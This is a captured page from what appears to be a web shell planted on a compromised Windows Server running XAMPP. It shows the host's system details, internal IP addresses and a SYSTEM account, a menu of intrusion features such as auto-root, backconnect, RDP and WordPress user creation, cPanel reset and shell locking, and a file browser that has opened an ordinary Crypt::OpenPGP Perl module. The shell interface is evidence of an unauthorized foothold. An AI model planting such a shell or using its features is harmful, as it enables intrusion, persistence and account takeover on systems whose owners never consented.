Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
perl /
vendor /
lib /
Crypt /
OpenPGP /
[ HOME SHELL ]
Name
Size
Permission
Action
Key
[ DIR ]
drwxrwxrwx
Signature
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-rw-rw-
Armour.pm
7.91
KB
-rw-rw-rw-
Buffer.pm
2.11
KB
-rw-rw-rw-
CFB.pm
2.73
KB
-rw-rw-rw-
Certificate.pm
15.95
KB
-rw-rw-rw-
Cipher.pm
5.92
KB
-rw-rw-rw-
Ciphertext.pm
7.01
KB
-rw-rw-rw-
Compressed.pm
4.92
KB
-rw-rw-rw-
Config.pm
3.01
KB
-rw-rw-rw-
Constants.pm
2.39
KB
-rw-rw-rw-
Digest.pm
4.36
KB
-rw-rw-rw-
ErrorHandler.pm
2.37
KB
-rw-rw-rw-
Key.pm
6.11
KB
-rw-rw-rw-
KeyBlock.pm
3.64
KB
-rw-rw-rw-
KeyRing.pm
8.08
KB
-rw-rw-rw-
KeyServer.pm
4.32
KB
-rw-rw-rw-
MDC.pm
2.5
KB
-rw-rw-rw-
Marker.pm
893
B
-rw-rw-rw-
Message.pm
4.32
KB
-rw-rw-rw-
OnePassSig.pm
1.46
KB
-rw-rw-rw-
PacketFactory.pm
8.63
KB
-rw-rw-rw-
Plaintext.pm
3.24
KB
-rw-rw-rw-
S2k.pm
6.05
KB
-rw-rw-rw-
SKSessionKey.pm
6.15
KB
-rw-rw-rw-
SessionKey.pm
6.69
KB
-rw-rw-rw-
Signature.pm
12.44
KB
-rw-rw-rw-
Trust.pm
797
B
-rw-rw-rw-
UserID.pm
2.03
KB
-rw-rw-rw-
Util.pm
4.85
KB
-rw-rw-rw-
Words.pm
11.23
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Key.pm
package Crypt::OpenPGP::Key; use strict; use Carp qw( confess ); use Crypt::OpenPGP::ErrorHandler; use base qw( Crypt::OpenPGP::ErrorHandler ); use vars qw( %ALG %ALG_BY_NAME ); %ALG = ( 1 => 'RSA', 16 => 'ElGamal', 17 => 'DSA', ); %ALG_BY_NAME = map { $ALG{$_} => $_ } keys %ALG; sub new { my $class = shift; my $alg = shift; $alg = $ALG{$alg} || $alg; my $pkg = join '::', $class, $alg; eval "use $pkg;"; return $class->error("Unsupported algorithm '$alg': $@") if $@; my @valid = $pkg->all_props; my %valid = map { $_ => 1 } @valid; my $key = bless { __valid => \%valid, __alg => $alg, __alg_id => $ALG_BY_NAME{$alg} }, $pkg; $key->init(@_); } sub keygen { my $class = shift; my $alg = shift; $alg = $ALG{$alg} || $alg; my $pkg = join '::', __PACKAGE__, 'Public', $alg; eval "use $pkg;"; return $class->error("Unsupported algorithm '$alg': $@") if $@; my($pub_data, $sec_data) = $pkg->keygen(@_); return $class->error("Key generation failed: " . $class->errstr) unless $pub_data && $sec_data; my $pub_pkg = join '::', __PACKAGE__, 'Public'; my $pub = $pub_pkg->new($alg, $pub_data); my $sec_pkg = join '::', __PACKAGE__, 'Secret'; my $sec = $sec_pkg->new($alg, $sec_data); ($pub, $sec); } sub init { $_[0] } sub check { 1 } sub alg { $_[0]->{__alg} } sub alg_id { $_[0]->{__alg_id} } sub size { 0 } sub bytesize { int(($_[0]->size + 7) / 8) } sub public_key { } sub is_secret { 0 } sub can_encrypt { 0 } sub can_sign { 0 } sub DESTROY { } use vars qw( $AUTOLOAD ); sub AUTOLOAD { my $key = shift; (my $meth = $AUTOLOAD) =~ s/.*:://; confess "Can't call method $meth on Key $key" unless $key->{__valid}{$meth}; $key->{key_data}->$meth(@_); } 1; __END__ =head1 NAME Crypt::OpenPGP::Key - OpenPGP key factory =head1 SYNOPSIS use Crypt::OpenPGP::Key; my($pub, $sec) = Crypt::OpenPGP::Key->keygen('DSA', Size => 1024); use Crypt::OpenPGP::Key::Public; my $pubkey = Crypt::OpenPGP::Key::Public->new('DSA'); use Crypt::OpenPGP::Key::Secret; my $seckey = Crypt::OpenPGP::Key::Secret->new('RSA'); =head1 DESCRIPTION I<Crypt::OpenPGP::Key> provides base class functionality for all I<Crypt::OpenPGP> public and secret keys. It functions as a factory class for key generation and key instantiation. The only time you will ever use I<Crypt::OpenPGP::Key> directly is to generate a key-pair; in all other scenarios--for example, when instantiating a new key object--you should use either I<Crypt::OpenPGP::Key::Public> or I<Crypt::OpenPGP::Key::Secret>, depending on whether the key is public or secret, respectively. =head1 KEY GENERATION =head2 Crypt::OpenPGP::Key->keygen( $type, %arg ) Generates a new key-pair of public key algorithm I<$type>. Returns a public and a secret key, each blessed into the appropriate implementation class. Returns an empty list on failure, in which case you should call the class method I<errstr> to determine the error. Valid values for type are C<DSA>, C<RSA>, and C<ElGamal>. I<%arg> can contain: =over 4 =item * Size Bitsize of the key to be generated. This should be an even integer; there is no low end currently set, but for the sake of security I<Size> should be at least 1024 bits. This is a required argument. =item * Verbosity Set to a true value to enable a status display during key generation; since key generation is a relatively length process, it is helpful to have an indication that some action is occurring. I<Verbosity> is 0 by default. =back =head1 METHODS I<Crypt::OpenPGP::Key> is not meant to be used directly (unless you are generating keys; see I<KEY GENERATION>, above); instead you should use the subclasses of this module. There are, however, useful interface methods that are shared by all subclasses. =head2 Key Data Access Each public-key algorithm has different key data associated with it. For example, a public DSA key has 4 attributes: I<p>, I<q>, I<g>, and I<y>. A secret DSA key has the same attributes as a public key, and in addition it has an attribute I<x>. All of the key data attributes can be accessed by calling methods of the same name on the I<Key> object. For example: my $q = $dsa_key->q; The attributes for each public-key algorithm are: =over 4 =item * RSA Public key: I<n>, I<e> Secret key: I<n>, I<e>, I<d>, I<p>, I<q>, I<u> =item * DSA Public key: I<p>, I<q>, I<g>, I<y> Secret key: I<p>, I<q>, I<g>, I<y>, I<x> =item * ElGamal Public key: I<p>, I<g>, I<y> Secret key: I<p>, I<g>, I<y>, I<x> =back =head2 $key->check Check the key data to determine if it is valid. For example, an RSA secret key would multiply the values of I<p> and I<q> and verify that the product is equal to the value of I<n>. Returns true if the key is valid, false otherwise. Not all public key algorithm implementations implement a I<check> method; for those that don't, I<check> will always return true. =head2 $key->size Returns the "size" of the key. The definition of "size" depends on the public key algorithm; for example, DSA defines the size of a key as the bitsize of the value of I<p>. =head2 $key->bytesize Whereas I<size> will return a bitsize of the key, I<bytesize> returns the size in bytes. This value is defined as C<int((bitsize(key)+7)/8)>. =head2 $key->is_secret Returns true if the key I<$key> is a secret key, false otherwise. =head2 $key->public_key Returns the public part of the key I<$key>. If I<$key> is already a public key, I<$key> is returned; otherwise a new public key object (I<Crypt::OpenPGP::Key::Public>) is constructed, and the public values from the secret key are copied into the public key. The new public key is returned. =head2 $key->can_encrypt Returns true if the key algorithm has encryption/decryption capabilities, false otherwise. =head2 $key->can_sign Returns true if the key algorithm has signing/verification capabilities, false otherwise. =head2 $key->alg Returns the name of the public key algorithm. =head2 $key->alg_id Returns the number ID of the public key algorithm. =head1 AUTHOR & COPYRIGHTS Please see the Crypt::OpenPGP manpage for author, copyright, and license information. =cut
Close